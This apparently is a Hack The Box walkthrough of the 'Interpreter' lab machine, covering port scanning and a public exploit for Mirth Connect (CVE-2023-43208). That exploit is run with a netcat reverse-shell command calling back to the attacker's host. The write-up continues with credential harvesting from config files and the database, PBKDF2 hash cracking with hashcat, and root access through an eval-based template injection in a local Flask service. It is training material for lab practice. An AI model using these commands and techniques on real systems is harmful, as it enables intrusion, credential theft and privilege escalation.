mairon $ echo 10.129.12.179 interpreter.htb | sudo tee -a /etc/hostsmairon $ rustscan -a interpreter.htb --ulimit 5000 -- -Pn -n -v --open -A -sCV | tee ~/htb/interpreter/rustscan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Exploring the digital landscape, one IP at a time.
[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.12.179:22
Open 10.129.12.179:80
Open 10.129.12.179:443
Open 10.129.12.179:6661
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -Pn -n -v --open -A -sCV" on ip 10.129.12.179
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-24 16:10 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:10
Completed NSE at 16:10, 0.00s elapsed
Initiating Connect Scan at 16:10
Scanning 10.129.12.179 [4 ports]
Discovered open port 6661/tcp on 10.129.12.179
Discovered open port 22/tcp on 10.129.12.179
Discovered open port 80/tcp on 10.129.12.179
Discovered open port 443/tcp on 10.129.12.179
Completed Connect Scan at 16:10, 0.01s elapsed (4 total ports)
Initiating Service scan at 16:10
Scanning 4 services on 10.129.12.179
Completed Service scan at 16:13, 167.44s elapsed (4 services on 1 host)
NSE: Script scanning 10.129.12.179.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 14.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 1.39s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
Nmap scan report for 10.129.12.179
Host is up, received user-set (0.012s latency).
Scanned at 2026-03-24 16:10:46 CET for 183s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVuD7K78VPFJrRRqOF1sCo4+cr9vm+x+VG1KLHzsgeEp3WWH2MIzd0yi/6eSzNDprifXbxlBCdvIR/et0G0lKI=
| 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILAfcF/jsYtk8PnokOcYPpkfMdPrKcKdjel2yqgNEtU3
80/tcp open http syn-ack Jetty
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
|_http-favicon: Unknown favicon MD5: 62BE2608829EE4917ACB671EF40D5688
443/tcp open ssl/http syn-ack Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Issuer: commonName=Mirth Connect Certificate Authority
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-09-19T12:50:05
| Not valid after: 2075-09-19T12:50:05
| MD5: c251 9050 6882 4177 9dbc c609 d325 dd54
| SHA-1: 3f2b a7d8 5c81 9ecf 6e15 cb6a fd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| kPeLQ3W5tySooZHV7dAxtYP5bWEUWIpHWkNENL9hHa1HHu/0hFThxxUCAwEAATAN
| BgkqhkiG9w0BAQsFAAOCAQEAKEQK8YNzAWgPB07ydf05p277ISLa2T+rWzQ2cCPD
| amgc1lCOHK0pEdNMI2z4J+iNdeXiPpuBVgvKId6I8ETLdA7foFRGklv6W6t4MjMY
| Pte8+PPkhKdwRVLzEj/tae427Ar8daDCvyFK/IhunhugyxfywHNj665V+bqPLBGw
| bgiV7+CQKpNOeADBeGbZpEGfQb+U+RkLCpjq7don698TdeBIPcIErzDgS8PDZ217
| Y0o4EU9gaX6U42cpvD/LLZ+e87GRxBlm9ivRA8QAE+yqo8GZtWvYveLkg+7qNcWB
| nWXyOijePyLYSHl4QHn3F4nTx2bO16KspRrDZsmiZGyEIw==
|_-----END CERTIFICATE-----
| http-methods:
| Supported Methods: GET HEAD TRACE OPTIONS
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
6661/tcp open unknown syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:13
Completed NSE at 16:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 183.29 secondsThere seems to be a Java management portal on the 80/443 port. Users can login to the web dashboard on that HTTPS page, and also offers downloadable clients.
The large green Launch Mirth Connect Administrator button downloads a Java webstart client, revealing the version of the platform:
mairon $ rg -i version webstart.jnlp
1:<jnlp codebase="https://interpreter.htb:443" version="4.4.0">
[...]
That version seems to be vulnerable to CVE-2023-43208, with a public exploit.
mairon $ git https://github.com/D3m0nicw0lf/CVE-2023-43208
mairon $ cd CVE-2023-43208
mairon $ python3 CVE-2023-43208.py -u https://interpreter.htb -c 'nc -c sh 10.10.15.205 1337'Catching the shell:
mairon 13s $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.12.179:43052.
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)
python3 -c 'import pty;pty.spawn("/bin/bash")'
mirth@interpreter:/usr/local/mirthconnect$ Found more creds:
mirth@interpreter:/usr/local/mirthconnect$ cat conf/mirth.properties
cat conf/mirth.properties
# Mirth Connect configuration file
[...]
# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS
[...]
# examples:
# Derby jdbc:derby:${dir.appdata}/mirthdb;create=true
# PostgreSQL jdbc:postgresql://localhost:5432/mirthdb
# MySQL jdbc:mysql://localhost:3306/mirthdb
# Oracle jdbc:oracle:thin:@localhost:1521:DB
# SQL Server/Sybase (jTDS) jdbc:jtds:sqlserver://localhost:1433/mirthdb
# Microsoft SQL Server jdbc:sqlserver://localhost:1433;databaseName=mirthdb
# If you are using the Microsoft SQL Server driver, please also specify database.driver below
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
# If using a custom or non-default driver, specify it here.
# example:
# Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver
# (Note: the jTDS driver is used by default for sqlserver)
database.driver = org.mariadb.jdbc.Driver
# Maximum number of connections allowed for the main read/write connection pool
database.max-connections = 20
# Maximum number of connections allowed for the read-only connection pool
database-readonly.max-connections = 20
# database credentials
database.username = mirthdb
database.password = MirthPass123!
[...]There’s indeed a SQL service running:
mirth@interpreter:/usr/local/mirthconnect$ ss -tulpn
ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 256 0.0.0.0:6661 0.0.0.0:* users:(("java",pid=3506,fd=335))
tcp LISTEN 0 50 0.0.0.0:443 0.0.0.0:* users:(("java",pid=3506,fd=331))
tcp LISTEN 0 50 0.0.0.0:80 0.0.0.0:* users:(("java",pid=3506,fd=327))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
Let’s login to the MariaDB:
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!'
mysql -u mirthdb -p'MirthPass123!'
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mc_bdd_prod |
+--------------------+
2 rows in set (0.001 sec)
MariaDB [(none)]> use mc_bdd_prod;
use mc_bdd_prod;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mc_bdd_prod]> show tables;
show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT |
| CHANNEL |
| CHANNEL_GROUP |
| CODE_TEMPLATE |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION |
| DEBUGGER_USAGE |
| D_CHANNELS |
| D_M1 |
| D_MA1 |
| D_MC1 |
| D_MCM1 |
| D_MM1 |
| D_MS1 |
| D_MSQ1 |
| EVENT |
| PERSON |
| PERSON_PASSWORD |
| PERSON_PREFERENCE |
| SCHEMA_INFO |
| SCRIPT |
+-----------------------+
21 rows in set (0.001 sec)
MariaDB [mc_bdd_prod]> select * from PERSON;
select * from PERSON;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| 2 | sedric | | | | NULL | | | | 2025-09-21 17:56:02 | NULL | 0 | NULL | | NULL | United States | NULL | 0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.001 sec)
MariaDB [mc_bdd_prod]> select id,username from PERSON;
select id,username from PERSON;
+----+----------+
| id | username |
+----+----------+
| 2 | sedric |
+----+----------+
1 row in set (0.000 sec)
MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD;
select * from PERSON_PASSWORD;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD | PASSWORD_DATE |
+-----------+----------------------------------------------------------+---------------------+
| 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.001 sec)
MariaDB [mc_bdd_prod]>I’ve lost a few hours into this rabbit hole, and perhaps I’m close, but I later gave up trying to decrypt this password.
So far I’ve noticed I needed the keystore used by this service, which I found at /var/lib/mirthconnect/keystore.jks.
I copied that over to my attacking box by concatenating this file, converting it to base64, and put that string on my clipboard.
I then decrypted that string on my own box:
mirth@interpreter:/usr/local/mirthconnect$ cat /var/lib/mirthconnect/keystore.jks | base64 -w 0
<long base64 string>
mairon $ echo "<long base64 string>" | base64 -d > keystore.jksI then inspected this file using keytool:
mairon $ keytool -v -list -keystore keystore.jks -storepass 5GbU5HGTOOgE
Nyckellagertyp: JCEKS
Nyckellagerleverantör: SunJCE
Nyckellagret innehåller 2 poster
Aliasnamn: encryption
Skapat den: 19 sep. 2025
Posttyp: SecretKeyEntry
*******************************************
*******************************************
Aliasnamn: mirthconnect
Skapat den: 19 sep. 2025
Posttyp: PrivateKeyEntry
Längd på certifikatskedja: 1
Certifikat[1]:
nyckelverktygsfel: java.util.IllegalFormatConversionException: d != java.lang.String
java.util.IllegalFormatConversionException: d != java.lang.String
at java.base/java.util.Formatter$FormatSpecifier.failConversion(Formatter.java:4662)
at java.base/java.util.Formatter$FormatSpecifier.printInteger(Formatter.java:3200)
at java.base/java.util.Formatter$FormatSpecifier.print(Formatter.java:3155)
at java.base/java.util.Formatter.format(Formatter.java:2767)
at java.base/java.util.Formatter.format(Formatter.java:2698)
at java.base/java.lang.String.format(String.java:4742)
at java.base/sun.security.tools.keytool.Main.withWeakConstraint(Main.java:3634)
at java.base/sun.security.tools.keytool.Main.printX509Cert(Main.java:3665)
at java.base/sun.security.tools.keytool.Main.doPrintEntry(Main.java:2268)
at java.base/sun.security.tools.keytool.Main.doPrintEntries(Main.java:2634)
at java.base/sun.security.tools.keytool.Main.doCommands(Main.java:1299)
at java.base/sun.security.tools.keytool.Main.run(Main.java:422)
at java.base/sun.security.tools.keytool.Main.main(Main.java:403)We notice 2 aliases: encryption, and mirthconnect.
I found a JCEKS crypto tool, which I’ve managed to compile using an old OpenJDK version:
mairon $ yay -S --needed extra/jdk11-openjdk
[...]
mairon $ JAVA_HOME=/usr/lib/jvm/java-11-openjdk mvn clean test
[...]
mairon $ JAVA_HOME=/usr/lib/jvm/java-11-openjdk mvn clean package
[...]
mairon $ java -Dkeystore=keystore.jks -Dstorepass=5GbU5HGTOOgE -Dalias=encryption -Dkeypass=tAuJfQeXdnPw -jar target/example-encryption-util.jar decrypt 8ttRHSuTn2QSQ9TXuK12tVYD+Qsy3fD7 0000000000000000
Decrypted Message
=======================================
Exception in thread "main" java.lang.RuntimeException: javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
at com.google.common.base.Throwables.propagate(Throwables.java:160)
at com.acquitygroup.encryption.AESCipher.getDecryptedMessage(AESCipher.java:100)
at com.acquitygroup.encryption.MainApp.decrypt(MainApp.java:74)
at com.acquitygroup.encryption.MainApp.main(MainApp.java:64)
Caused by: javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16 when decrypting with padded cipher
at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
at java.base/com.sun.crypto.provider.AESCipher.engineDoFinal(AESCipher.java:446)
at java.base/javax.crypto.Cipher.doFinal(Cipher.java:2280)
at com.acquitygroup.encryption.AESCipher.getDecryptedMessage(AESCipher.java:96)
... 2 moreAnd this is where I’m stuck. I can’t seem to find the proper IV.
I also looked up the encryption util which is likely being used, but I suspect the IV is completely random, which probably means that if I can’t find it somewhere lying around, I won’t be able to decrypt this passwd.
The follow day I returned to this part, and I decided to took a look at the release notes of this particular version of Mirth Connect (4.4.0):
We’ve changed the default digest/hash algorithm from SHA256 to PBKDF2WithHmacSHA256. In addition, the default iteration count was changed from 1000 to 600000.
In other words, I was wrong to assume that password of sedric was AES encrypted, and is indeed a PBKDF2WithHmacSHA256 hash.
This is described in more detail in a separate GitHub Issue, which crucially also mentions digest.saltsizeinbytes = 8.
To summarise, the hash we found is PBKDF2WithHmacSHA256, 600k iterations, and includes a 8 byte salt prepended.
Hashcat supports mode 10900, PBKDF2-HMAC-SHA256 (format: sha256:$iterations:$salt:$hash), but I haven’t found a mode where the salt is concatenated to the hash itself, so I figured I’d just split those myself.
We decode the base64 string, and then recode the first 8 bytes.
Then we do the same for the remainder, which would be the actual hash.
We then build a crackable hash format and feed it into hashcat:
mairon $ echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d > salt-hash.bin
mairon $ dd if=salt-hash.bin of=salt.bin bs=1 count=8
mairon $ base64 salt.bin
u/+LBBOUnac=
mairon $ dd if=salt-hash.bin of=hash.bin bs=1 skip=8
mairon $ base64 hash.bin
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
mairon $ echo "sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=" > hash.txt
mairon $ hashcat -O -m 10900 ~/htb/interpreter/aes-256-encryption-utility/hash.txt ~/htb/wordlists/rockyou.txt --potfile-disable
[...]
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1Now we can finally log into ssh as sedric and get the user flag:
mairon 29s $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 sedric@interpreter.htb
Warning: Identity file ssh/id_ed25519 not accessible: No such file or directory.
The authenticity of host 'interpreter.htb (10.129.13.72)' can't be established.
ED25519 key fingerprint is: SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk
+--[ED25519 256]--+
| E |
| . o |
| o o |
| o. |
|.o.+. . S. . |
| o*..= . .* |
|.. o+.=.++.. |
|o ..+=..**o |
|+o+*+o+=+O=. |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'interpreter.htb' (ED25519) to the list of known hosts.
sedric@interpreter.htb's password:
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 25 11:19:19 2026 from 10.10.15.205
sedric@interpreter:~$ cat user.txt
64b05d4230e3fef107014f806bf2f5e5Going back to the database, we see some interesting stuff in the CHANNEL table (highlighted on lines 122, 123, 212, 235):
|
|
That second base64 string contains an XML structure:
mairon $ echo "PHBhdGllbnQ+CiAgPHRpbWVzdGFtcD48L3RpbWVzdGFtcD4KICA8c2VuZGVyX2FwcD48L3NlbmRlcl9hcHA+CiAgPGlkPjwvaWQ+CiAgPGZpcnN0bmFtZT48L2ZpcnN0bmFtZT4KICA8bGFzdG5hbWU+PC9sYXN0bmFtZT4KICA8YmlydGhfZGF0ZT48L2JpcnRoX2RhdGU+CiAgPGdlbmRlcj48L2dlbmRlcj4KPC9wYXRpZW50Pg==" | base64 -d
<patient>
<timestamp></timestamp>
<sender_app></sender_app>
<id></id>
<firstname></firstname>
<lastname></lastname>
<birth_date></birth_date>
<gender></gender>
</patient>We also notice an endpoint listening on http://127.0.0.1:54321/addPatient, which is launched by a systemd service, and running as root:
sedric@interpreter:~$ ss -tulpn | grep 54321
tcp LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*sedric@interpreter:~$ cat /etc/systemd/system/notif.service
[Unit]
Description=Notification server
After=network-online.target
Wants=network-online.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /usr/local/bin/notif.py
Restart=always
User=root
WorkingDirectory=/usr/local/bin
[Install]
WantedBy=multi-user.targetsedric@interpreter:~$ ps aux | grep notif
root 3561 0.0 0.7 39872 31564 ? Ss 11:18 0:00 /usr/bin/python3 /usr/local/bin/notif.py
sedric 3930 0.0 0.0 6312 1620 pts/0 S+ 11:29 0:00 grep notifsedric@interpreter:~$ cat /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)Looks like the XML structure is being sent to http://127.0.0.1:54321/addPatient.
Let’s try and see what happens if we add a patient.
It’s pretty annoying this system doesn’t even have curl, so we’ll try to do it with Python instead:
sedric@interpreter:~$ cat test.py
import requests
url = "http://127.0.0.1:54321/addPatient"
xml_data = """
<patient>
<timestamp>0</timestamp>
<sender_app>0</sender_app>
<id>999</id>
<firstname>Test</firstname>
<lastname>Test</lastname>
<birth_date>01/01/1970</birth_date>
<gender>F</gender>
</patient>
"""
response = requests.post(url, data=xml_data, headers=headers)
print(response.text)sedric@interpreter:~$ python3 test.py
Patient Test Test (F), 56 years old, received from 0 at 0Good, that works. Now let’s fuzz SSTI.
I decided to SSH port forward from here, to use my own tools:
mairon $ ssh -o "UserKnownHostsFile=/dev/null" -i ssh/id_ed25519 sedric@interpreter.htb -L 54321:localhost:54321Then from my attacking box, after trial and error, the following optimised command worked great:
mairon $ sstimap -m POST -d '<patient><timestamp>*</timestamp><sender_app>*</sender_app><id>*</id><firstname>*</firstname><lastname>*</lastname><birth_date>01/01/1970</birth_date><gender>*</gender></patient>' -u "http://localhost:54321/addPatient" -e Python_generic -s
[!] This version of SSTImap was not tested with Python3.14
[!] This version of SSTImap was not tested with Python3.14
╔══════╦══════╦═══════╗ ▀█▀
║ ╔════╣ ╔════╩══╗ ╔══╝═╗▀╔═
║ ╚════╣ ╚════╗ ║ ║ ║{║ _ __ ___ __ _ _ __
╚════╗ ╠════╗ ║ ║ ║ ║*║ | '_ ` _ \ / _` | '_ \
╔════╝ ╠════╝ ║ ║ ║ ║}║ | | | | | | (_| | |_) |
╚══════╩══════╝ ╚═╝ ╚╦╝ |_| |_| |_|\__,_| .__/
│ | |
|_|
[*] Version: 1.3.2
[*] Author: @vladko312
[*] Based on Tplmap
[!] LEGAL DISCLAIMER: Usage of SSTImap for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] Loaded plugins by categories: generic: 5; languages: 6; java: 4; javascript: 6; php: 3; python: 4; ruby: 2
[*] Loaded request body types: 6
[*] Scanning url: http://localhost:54321/addPatient
[-] POST data type not detected, assuming 'text'
[*] Testing if Body parameter '0' is injectable
[*] Creating page profile for boolean error-based blind detection
[*] Python_generic plugin is testing rendering with tag '*'
[*] Python_generic plugin is testing * code context escape with 8 variations
[+] Python_generic plugin has confirmed injection with tag '{*}'
[+] SSTImap identified the following injection point:
Body parameter: 0
Engine: Python_generic
Injection: {*}
Context: text
OS: undetected
Technique: rendered
Capabilities:
Shell command execution: ok
Bind and reverse shell: no
File write: no
File read: no
Code evaluation: no
[+] Run commands on the operating system.
undetected $ id
uid=0(root) gid=0(root) groups=0(root)
undetected $ cat /root/root.txt
4a76b57b0bf2c8e05628f41bba50a5dc